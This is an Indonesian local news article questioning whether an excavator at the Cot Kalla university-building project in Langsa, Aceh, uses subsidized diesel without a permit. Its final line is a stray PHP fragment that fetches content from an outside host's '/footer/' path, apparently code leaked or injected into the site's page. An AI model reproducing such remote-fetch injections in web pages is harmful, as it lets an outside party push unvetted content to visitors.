BBM Jenis Solar Alat Berat Bego untuk Pembangunan Gedung Kuliah Terpadu Cot Kalla di Pertanyakan

Sabtu, 24 Agustus 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Kota Langsa | jejakkasus.info – Dengan hasil pantauan oleh beberapa awak media online ini, yang telah ditemukan kemarin 08/08/2024 sekitar pukul.10.55.wib. Salah satu penggunaan alat berat jenis Beko mini, tentang status pemggunaan minyak jenis solar. Yang saat bekerja, di areal lokasi pembangunan gedung kuliah terpadu cot Kalla, di pertanyakan izinnya.

Dengan penggunaan alat berat jenis Beko itu, pada saat pembangunan gedung kuliah terpadu cot kalla tersebut. Pantauan beberapa wartawan media online ini, begitu mudahnya sewaktu bekerja melakukan aktivitas yang mereka lakukan.

Anehnya lagi, ketika beberapa wartawan media online di aceh ini. Sewaktu melakukan pantauan di lokasi areal proyek itu, sedikit pun dari pihak aparat penegak hukum (APH) daerah kota langsa. Dugaan tanpa adanya melakukan pengawasan dalam penggunaan alat berat jenis Beko dan juga dari segi bahan bakar minyak (BBM) yang sedang mereka gunakan saat ini.

Baca Juga:  Pergantian Kepemimpinan: Pangdam IV/Diponegoro Diserahterimakan dari Mayjen TNI Widi Prasetijono kepada Mayjen TNI Tandyo Budi R., S. Sos.

Begitu juga, terkait adanya pemberitaan yang sempat pernah terjadi secara publik di media masa online ini. Berjudul, diduga hasil pantauan wartawan adanya pelaksanaan proyek gedung kuliah terpadu. Dugaan tidak sesuai adanya K.3, yang di temukan oleh pihak pekerja buruh kasar. Tanpa ada menggunakan pengamanan septi K.3, terbitan pada tanggal minggu 18 agustus 2024.

Ketika beberapa wartawan media online di aceh ini, menerima komentarnya dari pihak ketua pengurus bidang biro investigasi monitoring & intelijen (IMI) lembaga badan peserta hukum reclasseering indonesia (L.BPH.RI) komisariat daerah (komda) kota langsa. Dalam hal penggunaan minyak jenis solar, diduga bersubsidi asal SPBU galon daerah wilayah hukum kota langsa.

Baca Juga:  PH Terdakwa: Kasus ITE Pasal 33, Tidak Ada Unsur Dengan Sengaja Dan Melawan Hukum, Kami Yakin Klien Kami Bebas Demi Hukum

“Dengan harapan saya, agar dapat pihak kepolisian resort (polres) langsa. Supaya melakukan pemeriksaan terhadap pengguna alat berat jenis beko mini, yang berlokasi di areal pembangunan gedung kuliah terpadu cot kalla. Masih kita ragukan tentang izin penggunaan bbm jenis solar, yang bersubsidi tersebut. Bila mana tidak ada status yang jelas tangkap saja, dari pihak pelaksana kontraktor itu. Agar dapat mengikuti aturan yang ada”, pungkasnya bung karo-karo. Jumat 23/08/2024, sekitar pukul.15.07.wib.

Menurut dari pihak, pemerhati pengamat pemantau publik daerah provinsi aceh. Bung RKP bersama bung Suryadi KS, menyikapi dari pada adanya alat berat jenis beko mini itu. Di salah satu tempat, lokasi proyek asal dana anggaran APBN pusat jakarta. Menegaskan, “adanya penggunaan alat berat jenis beko itu. Masih di ragukan izin penggunaan bbm bersubsidi jenis solar itu, kami berharap juga. Agar pihak APH kota langsa, minta dengan tegas periksa status perizinan penggunaan minyak bersubsidi jenis solar yang di peruntukan untuk alat berat beko mini. Untuk kepentingan proyek milik asal pemerintahan pusat jakarta itu”, tegasnya dengan tegas dini hari itu juga sekitar pukul.15.17.wib.

Baca Juga:  H Anwar Sadat Tinjau Kondisi Masjid Agung Al-Istiqomah yang Terdampak Banjir Rob

Sumber : DK
(Pasukan Ghoib/Team)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Pelantikan APDESI Deli Serdang Resmi Dilantik Periode 2024-2029
Tim Personel Gabungan Evakuasi Toyota Rush Nyaris Jatuh ke Laut di Pelabuhan Jangkar
Diduga Narapidana Lapas Narkotika Kelas IIA Pamekasan Dan Narapidana Lapas Kelas IIA Pamekasan Bisa Berenang
Tingkatkan Ketaqwaan KPH Perum Perhutani Bondowoso Adakanaulid Nabi dan Berikan Santunan Pada Anak Yatim
Empat Tahun Peristiwa Kematian Saputra Fibriansyah, Polres Gresik Mulai Buka Penyelidikan Baru
Kapolres Tabanan Gelar Jumat Curhat Bersama Warga Desa Sudimara di Pantai Yeh Gangga
Prajurit Kodam IX/Udayana Raih Medali di Cabang MMA PON XXI 2024
Kuasa hukum AG, Reydi Nobel.S.H apresiasi majelis hakim tunggal, ni Made Dewi Sukarni.SH karena mengabulkan permohonan praperadilan.

Berita Terkait

Sabtu, 21 September 2024 - 00:03 WIB

Pelantikan APDESI Deli Serdang Resmi Dilantik Periode 2024-2029

Sabtu, 21 September 2024 - 00:00 WIB

Tim Personel Gabungan Evakuasi Toyota Rush Nyaris Jatuh ke Laut di Pelabuhan Jangkar

Jumat, 20 September 2024 - 23:43 WIB

Diduga Narapidana Lapas Narkotika Kelas IIA Pamekasan Dan Narapidana Lapas Kelas IIA Pamekasan Bisa Berenang

Jumat, 20 September 2024 - 17:35 WIB

Tingkatkan Ketaqwaan KPH Perum Perhutani Bondowoso Adakanaulid Nabi dan Berikan Santunan Pada Anak Yatim

Jumat, 20 September 2024 - 11:01 WIB

Kapolres Tabanan Gelar Jumat Curhat Bersama Warga Desa Sudimara di Pantai Yeh Gangga

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>